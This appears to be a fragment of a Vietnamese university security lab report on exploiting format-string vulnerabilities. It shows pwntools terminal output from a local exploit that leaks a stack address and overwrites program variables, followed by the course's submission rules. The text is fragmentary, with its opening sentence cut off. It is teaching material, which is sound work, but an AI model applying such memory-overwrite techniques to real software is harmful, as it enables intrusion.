**2 Khai thác lỗ hổng format string để đọc dữ liệu**

Lỗ hổng chuỗi định dạng format string có thể bị khai thác nhằm giả

BrokenPipeError: [Errno 32] Broken pipe

taiman@taiman:~/Desktop/Lab 4\$

taiman@taiman:~/Desktop/Lab 4\$ python3 a.py

[+] Starting local process './app-overwrite': pid 43316

b'0xffffd15c\n'

[\*] Switching to interactive mode

[\*] Process './app-overwrite' stopped with exit code 0 (pid 43316)

ffffd0f8+\xa0\x04 f7f7b0xxx\*\xa0\x04

1xxx)\xa0\x04 0xxx(\xa0\x04

a = 123, b = 78, c = 789

[\*] Got EOF while reading in interactive

Đề viết ngược lại thành 12345678 thì em đang bị hơi lỗi

---

*Sinh viên đọc kỹ yêu cầu trình bày bên dưới trang này*

## YÊU CẦU CHUNG

- Sinh viên tìm hiểu và thực hành theo hướng dẫn.
- Nộp báo cáo kết quả chi tiết những việc (**Report**) bạn đã thực hiện, quan sát thấy và kèm ảnh chụp màn hình kết quả (nếu có); giải thích cho quan sát (nếu có).
- Sinh viên báo cáo kết quả thực hiện và nộp bài.

### Báo cáo:

- File **.PDF**. Tập trung vào nội dung, không mô tả lý thuyết.
- Nội dung trình bày bằng **Font chữ Times New Romans/ hoặc font chữ của mẫu báo cáo này (UTM Neo Sans Intel/UTM Viet Sach)– cỡ chữ 13. Canh đều (Justify) cho văn bản. Canh giữa (Center) cho ảnh chụp.**
- Đặt tên theo định dạng: [Mã lớp]-SessionX\_GroupY. (trong đó X là Thứ tự buổi Thực hành, Y là số thứ tự Nhóm Thực hành/Tên Cá nhân đã đăng ký với GV).  
*Ví dụ: [NT101.K11.ANTT]-Session1\_Group3.*
- Nếu báo cáo có nhiều file, nén tất cả file vào file **.ZIP** với cùng tên file báo cáo.
- **Không đặt tên đúng định dạng – yêu cầu, sẽ KHÔNG chấm điểm.**
- Nộp file báo cáo trên theo thời gian đã thống nhất tại [courses.uit.edu.vn](https://courses.uit.edu.vn).

**Đánh giá:** Sinh viên hiểu và tự thực hiện. Khuyến khích:

- Chuẩn bị tốt.
- Có nội dung mở rộng, ứng dụng trong kịch bản/câu hỏi phức tạp hơn, có đóng góp xây dựng.

*Bài sao chép, trễ, ... sẽ được xử lý tùy mức độ vi phạm.*

**HẾT**